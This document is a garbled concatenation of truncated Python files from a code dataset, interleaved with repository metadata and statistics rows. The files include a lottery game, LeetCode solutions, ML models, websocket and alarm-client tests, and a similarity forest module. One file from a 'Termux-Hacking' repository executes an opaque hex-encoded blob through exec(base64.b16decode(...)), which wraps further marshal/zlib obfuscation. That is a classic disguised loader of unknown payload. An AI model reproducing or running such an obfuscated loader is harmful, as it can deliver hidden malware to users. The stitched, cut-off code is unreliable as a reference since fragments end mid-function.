def test_strobe_high(self)... | 33.596977 | 80 | 0.461389 | 1,278 | 13,338 | 4.763693 | 0.073552 | 0.087385 | 0.102989 | 0.119251 | 0.885841 | 0.885841 | 0.885841 | 0.885841 | 0.876314 | 0.861859 | 0 | 0.019463 | 0.402909 | 13,338 | 396 | 81 | 33.681818 | 0.744977 | 0.02774 | 0 | 0.794118 | 0 | 0 | 0.095183 | 0 | 0 | 0 | 0 | 0 | 0.241176 | 1 | 0.026471 | false | 0 | 0.014706 | 0 | 0.044118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
03722d15e6b6a2415a4d876b47e8e47b76f7fdb4 | 18,369 | py | Python | Lottary Game ( Greek kino).py | target3/Lottary-Game | 651e3d9899c2cd44790b7b83ac4f430bb99d0cef | [
"MIT"
] | null | null | null | Lottary Game ( Greek kino).py | target3/Lottary-Game | 651e3d9899c2cd44790b7b83ac4f430bb99d0cef | [
"MIT"
] | null | null | null | Lottary Game ( Greek kino).py | target3/Lottary-Game | 651e3d9899c2cd44790b7b83ac4f430bb99d0cef | [
"MIT"
] | null | null | null | import random
while True:
#Select between the numbers 1 and 12
epilogh=input("Give the amount of numbers you wish to play (1-12) or (0) for EXIT :")
#Check of selection
if (epilogh=='1'):
print("You wish to play with %s number"%epilogh)
one=0
NOUMERA=[]
#Select between t... | 34.59322 | 94 | 0.447929 | 2,446 | 18,369 | 3.385119 | 0.046607 | 0.096618 | 0.069082 | 0.081643 | 0.933575 | 0.930918 | 0.92186 | 0.919082 | 0.914251 | 0.863043 | 0 | 0.057352 | 0.427623 | 18,369 | 530 | 95 | 34.658491 | 0.725224 | 0.00539 | 0 | 0.852652 | 0 | 0.001965 | 0.253397 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.001965 | 0 | 0.001965 | 0.314342 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
037be740e7cb80ecbf342ae1aa201932a9f159c8 | 2,333 | py | Python | Algo and DSA/LeetCode-Solutions-master/Python/closest-room.py | Sourav692/FAANG-Interview-Preparation | f523e5c94d582328b3edc449ea16ac6ab28cdc81 | [
"Unlicense"
] | 3,269 | 2018-10-12T01:29:40.000Z | 2022-03-31T17:58:41.000Z | Algo and DSA/LeetCode-Solutions-master/Python/closest-room.py | Sourav692/FAANG-Interview-Preparation | f523e5c94d582328b3edc449ea16ac6ab28cdc81 | [
"Unlicense"
] | 53 | 2018-12-16T22:54:20.000Z | 2022-02-25T08:31:20.000Z | Algo and DSA/LeetCode-Solutions-master/Python/closest-room.py | Sourav692/FAANG-Interview-Preparation | f523e5c94d582328b3edc449ea16ac6ab28cdc81 | [
"Unlicense"
] | 1,236 | 2018-10-12T02:51:40.000Z | 2022-03-30T13:30:37.000Z | # Time: O(nlogn + klogk + klogn)
# Space: O(n + k)
from sortedcontainers import SortedList
class Solution(object):
def closestRoom(self, rooms, queries):
"""
:type rooms: List[List[int]]
:type queries: List[List[int]]
:rtype: List[int]
"""
def find_closest(ids, r)... | 30.697368 | 57 | 0.484784 | 321 | 2,333 | 3.470405 | 0.186916 | 0.021544 | 0.050269 | 0.05386 | 0.942549 | 0.942549 | 0.942549 | 0.942549 | 0.922801 | 0.922801 | 0 | 0.018608 | 0.378054 | 2,333 | 75 | 58 | 31.106667 | 0.749139 | 0.108015 | 0 | 0.769231 | 0 | 0 | 0.003002 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.038462 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
301a26615e5351d779cc4091d48ad7ee65293201 | 4,519 | py | Python | model.py | leizhangtech/COVID19T | dc0ceeb748b364833760ce027f2aea807bd068f1 | [
"Apache-2.0"
] | 1 | 2022-02-27T11:21:54.000Z | 2022-02-27T11:21:54.000Z | model.py | leizhangtech/COVID19T | dc0ceeb748b364833760ce027f2aea807bd068f1 | [
"Apache-2.0"
] | 1 | 2022-02-23T14:43:58.000Z | 2022-02-23T14:43:58.000Z | model.py | leizhangtech/COVID19T | dc0ceeb748b364833760ce027f2aea807bd068f1 | [
"Apache-2.0"
] | 2 | 2021-07-07T21:47:34.000Z | 2021-07-07T21:53:17.000Z | import torch
import torch.nn as nn
from torchvision import models
import timm
class COVNet(nn.Module):
def __init__(self, n_classes):
super().__init__()
model = models.resnet152(pretrained=True)
layer_list = list(model.children())[:-2]
self.pretrained_model = nn.Sequential(*layer_l... | 39.640351 | 96 | 0.672936 | 567 | 4,519 | 5.095238 | 0.151675 | 0.125995 | 0.041537 | 0.025961 | 0.843198 | 0.843198 | 0.843198 | 0.843198 | 0.832468 | 0.832468 | 0 | 0.033163 | 0.219296 | 4,519 | 114 | 97 | 39.640351 | 0.785714 | 0.073025 | 0 | 0.758242 | 0 | 0 | 0.018647 | 0.018647 | 0 | 0 | 0 | 0 | 0 | 1 | 0.120879 | false | 0 | 0.043956 | 0 | 0.274725 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2308e4402112312c04a7975eac86fb8333c9aa58 | 175 | py | Python | loldib/getratings/models/NA/na_twistedfate/__init__.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_twistedfate/__init__.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_twistedfate/__init__.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | from .na_twistedfate_top import *
from .na_twistedfate_jng import *
from .na_twistedfate_mid import *
from .na_twistedfate_bot import *
from .na_twistedfate_sup import *
| 29.166667 | 34 | 0.8 | 25 | 175 | 5.2 | 0.36 | 0.230769 | 0.653846 | 0.707692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 175 | 5 | 35 | 35 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
2352f4900b72b64577ac244f3ae23ca18aa1a7ac | 7,490 | py | Python | Events/ETSS June 2016/DevOps Networking Model/TextFSM/displaystp.py | manpowertw/leafspine-ops | 59309bed802e6d11c7c801f893adfd9b188222b6 | [
"Apache-2.0"
] | 32 | 2016-05-24T23:32:02.000Z | 2021-11-17T07:53:50.000Z | Events/ETSS June 2016/DevOps Networking Model/TextFSM/displaystp.py | manpowertw/leafspine-ops | 59309bed802e6d11c7c801f893adfd9b188222b6 | [
"Apache-2.0"
] | 5 | 2016-09-25T15:55:02.000Z | 2018-09-06T10:54:45.000Z | Events/ETSS June 2016/DevOps Networking Model/TextFSM/displaystp.py | manpowertw/leafspine-ops | 59309bed802e6d11c7c801f893adfd9b188222b6 | [
"Apache-2.0"
] | 34 | 2016-03-02T17:37:07.000Z | 2021-11-17T07:54:04.000Z | ''' for python 3 reqires for of textFSM avialable at https://github.com/jonathanslenders/textfsm
Copyright 2016 Hewlett Packard Enterprise Development LP.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy o... | 36.715686 | 96 | 0.640587 | 1,034 | 7,490 | 4.636364 | 0.178917 | 0.043805 | 0.070088 | 0.032123 | 0.769086 | 0.761577 | 0.761577 | 0.754902 | 0.754902 | 0.754902 | 0 | 0.083652 | 0.267423 | 7,490 | 204 | 97 | 36.715686 | 0.790049 | 0.09279 | 0 | 0.764368 | 0 | 0 | 0.968284 | 0.076117 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.017241 | 0 | 0.017241 | 0.005747 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
88d8ec9a5e4b6410db044b0aecf46f246b84cebb | 35,710 | py | Python | tests/test_client.py | palazzem/econnect-python | 04ffb8718bdd531b7c49c780af04221e24a924e5 | [
"BSD-3-Clause"
] | 5 | 2020-03-27T17:36:45.000Z | 2021-11-01T15:14:41.000Z | tests/test_client.py | palazzem/elmo-alerting | 04ffb8718bdd531b7c49c780af04221e24a924e5 | [
"BSD-3-Clause"
] | 33 | 2019-02-09T11:58:52.000Z | 2020-03-14T20:31:53.000Z | tests/test_client.py | palazzem/econnect-python | 04ffb8718bdd531b7c49c780af04221e24a924e5 | [
"BSD-3-Clause"
] | 2 | 2020-05-27T06:59:46.000Z | 2020-10-10T08:22:23.000Z | import pytest
import responses
from requests.exceptions import HTTPError
from elmo import query
from elmo.api.client import ElmoClient
from elmo.api.exceptions import (
LockNotAcquired,
QueryNotValid,
CredentialError,
InvalidToken,
CodeError,
InvalidSector,
InvalidInput,
LockError,
)
... | 28.775181 | 93 | 0.587623 | 3,923 | 35,710 | 5.237573 | 0.074688 | 0.038448 | 0.036064 | 0.04205 | 0.843919 | 0.813987 | 0.792524 | 0.779773 | 0.761766 | 0.738307 | 0 | 0.033127 | 0.277233 | 35,710 | 1,240 | 94 | 28.798387 | 0.76296 | 0.094119 | 0 | 0.712587 | 0 | 0 | 0.358581 | 0.023156 | 0 | 0 | 0 | 0 | 0.1556 | 1 | 0.057483 | false | 0.004955 | 0.005946 | 0 | 0.063429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0007a1271a436458fe3379962ba34c8180b86d30 | 11,034 | py | Python | scripts/posthoc tests of ANOVAs_3_1.py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | 3 | 2019-07-09T15:37:46.000Z | 2019-07-17T16:28:02.000Z | scripts/posthoc tests of ANOVAs_3_1.py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | null | null | null | scripts/posthoc tests of ANOVAs_3_1.py | nmningmei/metacognition | 734082e247cc7fc9d277563e2676e10692617a3f | [
"MIT"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Tue Oct 9 16:34:12 2018
@author: nmei
"""
import pandas as pd
import numpy as np
from utils import (posthoc_multiple_comparison,
post_processing,
posthoc_multiple_comparison_interaction,
resample_tt... | 40.866667 | 98 | 0.470092 | 998 | 11,034 | 4.92986 | 0.131263 | 0.087805 | 0.01626 | 0.012195 | 0.932114 | 0.92561 | 0.92561 | 0.913821 | 0.913821 | 0.913821 | 0 | 0.007459 | 0.416803 | 11,034 | 269 | 99 | 41.018587 | 0.75711 | 0.36306 | 0 | 0.849315 | 0 | 0 | 0.12301 | 0.015486 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020548 | 0 | 0.020548 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0047cfefcc58481e0b0838bb79e5657f2566291b | 104 | py | Python | marketplaces/apps/market/captcha_generators.py | diassor/CollectorCity-Market-Place | 892ad220b8cf1c0fc7433f625213fe61729522b2 | [
"Apache-2.0"
] | 135 | 2015-03-19T13:28:18.000Z | 2022-03-27T06:41:42.000Z | marketplaces/apps/market/captcha_generators.py | dfcoding/CollectorCity-Market-Place | e59acec3d600c049323397b17cae14fdcaaaec07 | [
"Apache-2.0"
] | null | null | null | marketplaces/apps/market/captcha_generators.py | dfcoding/CollectorCity-Market-Place | e59acec3d600c049323397b17cae14fdcaaaec07 | [
"Apache-2.0"
] | 83 | 2015-01-30T01:00:15.000Z | 2022-03-08T17:25:10.000Z | from models import MarketCategory
def category_captcha():
return MarketCategory.generate_captcha()
| 20.8 | 44 | 0.817308 | 11 | 104 | 7.545455 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 104 | 4 | 45 | 26 | 0.912088 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
004b62febb3e2ebdf7a87bbbfc8b9e54ce7ec527 | 47,248 | py | Python | simforest/_classes.py | sfczekalski/similarity_forest | 0cdc7e6d70409fb259e76683997bd2b5f576a1c5 | [
"BSD-3-Clause"
] | 2 | 2020-01-24T12:37:14.000Z | 2021-04-14T10:47:20.000Z | simforest/_classes.py | sfczekalski/similarity_forest | 0cdc7e6d70409fb259e76683997bd2b5f576a1c5 | [
"BSD-3-Clause"
] | null | null | null | simforest/_classes.py | sfczekalski/similarity_forest | 0cdc7e6d70409fb259e76683997bd2b5f576a1c5 | [
"BSD-3-Clause"
] | 1 | 2022-03-03T09:38:28.000Z | 2022-03-03T09:38:28.000Z | """
This is a module implementing Similarity Forest Classifier,
as outlined in 'Similarity Forests', S. Sathe and C. C. Aggarwal, KDD 2017' ,
avaiable here: http://saketsathe.net/downloads/simforest.pdf
"""
import numpy as np
from sklearn.base import BaseEstimator, ClassifierMixin, RegressorMixin, is_classifier
from s... | 39.047934 | 136 | 0.583305 | 5,701 | 47,248 | 4.665146 | 0.080337 | 0.030193 | 0.013235 | 0.008122 | 0.808091 | 0.787111 | 0.763085 | 0.755828 | 0.74639 | 0.731839 | 0 | 0.004877 | 0.344671 | 47,248 | 1,209 | 137 | 39.080232 | 0.854084 | 0.393329 | 0 | 0.750466 | 0 | 0.003724 | 0.029717 | 0 | 0 | 0 | 0 | 0 | 0.007449 | 1 | 0.068901 | false | 0 | 0.018622 | 0 | 0.197393 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cc857924fec37c79be92d8ede26e564dccbe27fb | 22,827 | py | Python | tests/websocket_new_test.py | dtantsur/eventlet | 3c25d0c3bdd9e1fcedf60b879f164f8363a64395 | [
"MIT"
] | 1,044 | 2015-01-02T02:01:01.000Z | 2022-03-28T06:19:15.000Z | tests/websocket_new_test.py | dtantsur/eventlet | 3c25d0c3bdd9e1fcedf60b879f164f8363a64395 | [
"MIT"
] | 591 | 2015-01-04T14:02:06.000Z | 2022-03-15T09:09:18.000Z | tests/websocket_new_test.py | dtantsur/eventlet | 3c25d0c3bdd9e1fcedf60b879f164f8363a64395 | [
"MIT"
] | 269 | 2015-01-04T14:22:31.000Z | 2022-03-12T17:23:51.000Z | import errno
import struct
import re
import eventlet
from eventlet import event
from eventlet import websocket
from eventlet.green import httplib
from eventlet.green import socket
import six
import tests.wsgi_test
# demo app
def handle(ws):
if ws.path == '/echo':
while True:
m = ws.wait()
... | 38.429293 | 118 | 0.596005 | 2,709 | 22,827 | 4.846069 | 0.118863 | 0.029708 | 0.04159 | 0.016453 | 0.808729 | 0.801569 | 0.780393 | 0.758988 | 0.747867 | 0.708714 | 0 | 0.031492 | 0.287773 | 22,827 | 593 | 119 | 38.494098 | 0.775987 | 0.090156 | 0 | 0.725322 | 0 | 0 | 0.195115 | 0.082738 | 0 | 0 | 0 | 0.001686 | 0.118026 | 1 | 0.062232 | false | 0 | 0.021459 | 0 | 0.100858 | 0.002146 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cc8b52b353e0b85e4a3b8405d900c4a0f4383324 | 74,320 | py | Python | Termux-Hacking/main.py | koleksibot/Sofware-Tools | 8a67c34402e7c431bfcb15223d80570ed0aa258d | [
"Apache-2.0",
"CC-BY-4.0"
] | 12 | 2022-01-25T11:36:47.000Z | 2022-03-27T02:11:15.000Z | Termux-Hacking/main.py | koleksibot/Sofware-Tools | 8a67c34402e7c431bfcb15223d80570ed0aa258d | [
"Apache-2.0",
"CC-BY-4.0"
] | 4 | 2022-02-14T00:22:53.000Z | 2022-02-24T16:35:26.000Z | Termux-Hacking/main.py | koleksibot/Sofware-Tools | 8a67c34402e7c431bfcb15223d80570ed0aa258d | [
"Apache-2.0",
"CC-BY-4.0"
] | 24 | 2021-12-10T05:39:58.000Z | 2022-03-27T08:10:57.000Z | #Encrypt By Denay | https://github.com/OmDenay-MB911/ANTI-CP-main
import base64
exec(base64.b16decode("23456E63727970742042792052697A6B79207C2068747470733A2F2F6769746875622E636F6D2F68656B656C70726F0A696D706F7274206D61727368616C2C7A6C69622C6261736536340A65786563286D61727368616C2E6C6F616473287A6C69622E6465636F6D707265737... | 24,773.333333 | 74,240 | 0.999664 | 17 | 74,320 | 4,370.294118 | 0.941176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.998304 | 0.000094 | 74,320 | 3 | 74,240 | 24,773.333333 | 0.001453 | 0.000861 | 0 | 0 | 0 | 0 | 0.999434 | 0.999434 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 12 |
aeaecd1674940e94d41121da513763e784bc99ac | 1,855 | py | Python | Plugins/UnrealEnginePython/Binaries/Win64/Lib/site-packages/tensorflow/_api/v1/keras/initializers/__init__.py | JustinACoder/H22-GR3-UnrealAI | 361eb9ef1147f8a2991e5f98c4118cd823184adf | [
"MIT"
] | 6 | 2022-02-04T18:12:24.000Z | 2022-03-21T23:57:12.000Z | Lib/site-packages/tensorflow/_api/v1/keras/initializers/__init__.py | shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings | 1fa4cd6a566c8745f455fc3d2273208f21f88ced | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/tensorflow/_api/v1/keras/initializers/__init__.py | shfkdroal/Robot-Learning-in-Mixed-Adversarial-and-Collaborative-Settings | 1fa4cd6a566c8745f455fc3d2273208f21f88ced | [
"bzip2-1.0.6"
] | 1 | 2022-02-08T03:53:23.000Z | 2022-02-08T03:53:23.000Z | # This file is MACHINE GENERATED! Do not edit.
# Generated by: tensorflow/python/tools/api/generator/create_python_api.py script.
"""Keras initializer serialization / deserialization.
"""
from __future__ import print_function
from tensorflow.python import Constant
from tensorflow.python import Constant as c... | 46.375 | 85 | 0.849057 | 232 | 1,855 | 6.715517 | 0.215517 | 0.308087 | 0.372272 | 0.300385 | 0.79846 | 0.401155 | 0.345956 | 0.147625 | 0 | 0 | 0 | 0 | 0.112668 | 1,855 | 39 | 86 | 47.564103 | 0.946537 | 0.095418 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.967742 | 0 | 0.967742 | 0.064516 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
aec04f7fdd8ca3b72632e7232f89bb41722a403d | 19,498 | py | Python | particle_packing/tests/test_Sphere_.py | aluchies/particle_packing | 127603a519ae25979de6c6197810a7ea38ec945b | [
"BSD-3-Clause"
] | null | null | null | particle_packing/tests/test_Sphere_.py | aluchies/particle_packing | 127603a519ae25979de6c6197810a7ea38ec945b | [
"BSD-3-Clause"
] | null | null | null | particle_packing/tests/test_Sphere_.py | aluchies/particle_packing | 127603a519ae25979de6c6197810a7ea38ec945b | [
"BSD-3-Clause"
] | null | null | null | import unittest
import numpy as np
from particle_packing.sphere import Sphere, \
overlap_potential, overlap_potential_py, \
collection_overlap_potential, \
contain_potential_py, container_potential_cube_py
class TestCode(unittest.TestCase):
def test1_constuctor(self):
"""
Test sim... | 18.290807 | 71 | 0.512309 | 2,645 | 19,498 | 3.610964 | 0.046503 | 0.077688 | 0.050257 | 0.105539 | 0.858549 | 0.816459 | 0.800649 | 0.788713 | 0.756256 | 0.720658 | 0 | 0.048771 | 0.338548 | 19,498 | 1,066 | 72 | 18.290807 | 0.691789 | 0.023028 | 0 | 0.713542 | 0 | 0 | 0.002772 | 0 | 0 | 0 | 0 | 0 | 0.177083 | 0 | null | null | 0 | 0.007813 | null | null | 0.002604 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
aeceb1701cd9f0c22f889b8741dc8a83dfed5145 | 1,162 | py | Python | validate_jwt_eg.py | mudont/exchange | 1f399652f9fe1313e4bf01974e3904077d01caa8 | [
"MIT"
] | null | null | null | validate_jwt_eg.py | mudont/exchange | 1f399652f9fe1313e4bf01974e3904077d01caa8 | [
"MIT"
] | 11 | 2020-02-12T00:55:05.000Z | 2022-02-11T03:43:57.000Z | validate_jwt_eg.py | mudont/exchange | 1f399652f9fe1313e4bf01974e3904077d01caa8 | [
"MIT"
] | null | null | null | import jwt
import exchange.settings as S
token='eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ik0wWXpRVFE0TWtRNE1rUTBRekl4UXpSQ1JEY3pSVEExUWpFd1JFUTJRemMwUlRnNU4wRXlSZyJ9.eyJodHRwczovL2hhc3VyYS5pby9qd3QvY2xhaW1zIjp7IngtaGFzdXJhLWRlZmF1bHQtcm9sZSI6InVzZXIiLCJ4LWhhc3VyYS1hbGxvd2VkLXJvbGVzIjpbInVzZXIiLCJhZG1pbiJdLCJ4LWhhc3... | 116.2 | 1,006 | 0.962995 | 35 | 1,162 | 31.771429 | 0.828571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107517 | 0.015491 | 1,162 | 9 | 1,007 | 129.111111 | 0.86451 | 0 | 0 | 0 | 0 | 0 | 0.863167 | 0.858864 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0.2 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 8 |
aee49af7d901499df8e07f8efabe94b1d66ec806 | 6,683 | py | Python | loldib/getratings/models/NA/na_orianna/na_orianna_sup.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_orianna/na_orianna_sup.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_orianna/na_orianna_sup.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | from getratings.models.ratings import Ratings
class NA_Orianna_Sup_Aatrox(Ratings):
pass
class NA_Orianna_Sup_Ahri(Ratings):
pass
class NA_Orianna_Sup_Akali(Ratings):
pass
class NA_Orianna_Sup_Alistar(Ratings):
pass
class NA_Orianna_Sup_Amumu(Ratings):
pass
class NA_Orianna_Sup_Anivia(Rating... | 16.026379 | 46 | 0.77151 | 972 | 6,683 | 4.878601 | 0.151235 | 0.203712 | 0.407423 | 0.494728 | 0.808941 | 0.808941 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166243 | 6,683 | 416 | 47 | 16.064904 | 0.851041 | 0 | 0 | 0.498195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.498195 | 0.00361 | 0 | 0.501805 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
d1c45bfad4bb0e0e6d0e9186f5a6d0198e8f9897 | 3,861 | py | Python | test/modules/test_importer.py | KAIST-AILab/PyOpenDial | c9bca653c18ccc082dc8b86b4a8feee9ed00a75b | [
"MIT"
] | 9 | 2019-09-23T01:56:43.000Z | 2022-03-13T17:58:40.000Z | test/modules/test_importer.py | KAIST-AILab/PyOpenDial | c9bca653c18ccc082dc8b86b4a8feee9ed00a75b | [
"MIT"
] | 2 | 2019-11-18T17:02:30.000Z | 2021-07-14T15:47:08.000Z | test/modules/test_importer.py | KAIST-AILab/PyOpenDial | c9bca653c18ccc082dc8b86b4a8feee9ed00a75b | [
"MIT"
] | 1 | 2022-02-08T06:41:19.000Z | 2022-02-08T06:41:19.000Z | class TestImporter:
domain_file = "test/data/domain-woz.xml"
dialogue_file = "test/data/woz-dialogue.xml"
domain_file2 = "test/data/example-domain-params.xml"
dialogue_file2 = "test/data/dialogue.xml"
# def test_importer(self):
# system = DialogueSystem(XMLDomainReader.extract_domain(self.d... | 47.085366 | 142 | 0.667962 | 405 | 3,861 | 6.155556 | 0.190123 | 0.054152 | 0.081829 | 0.102688 | 0.83915 | 0.826314 | 0.826314 | 0.737665 | 0.722423 | 0.59286 | 0 | 0.021767 | 0.202797 | 3,861 | 81 | 143 | 47.666667 | 0.788174 | 0.82647 | 0 | 0 | 0 | 0 | 0.184165 | 0.184165 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 1.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
060309e0b21e2f216bbc886dcbe5185ab7243698 | 990,237 | py | Python | node_manager_fkie/src/node_manager_fkie/gui_resources.py | umdlife/multimaster_fkie | 9e6ee15526dcc03ab2434714a651d4b7065156e5 | [
"BSD-3-Clause"
] | null | null | null | node_manager_fkie/src/node_manager_fkie/gui_resources.py | umdlife/multimaster_fkie | 9e6ee15526dcc03ab2434714a651d4b7065156e5 | [
"BSD-3-Clause"
] | 1 | 2018-04-20T13:03:34.000Z | 2018-04-20T13:03:34.000Z | node_manager_fkie/src/node_manager_fkie/gui_resources.py | umdlife/multimaster_fkie | 9e6ee15526dcc03ab2434714a651d4b7065156e5 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Resource object code
#
# Created: So. Jun 3 15:41:27 2018
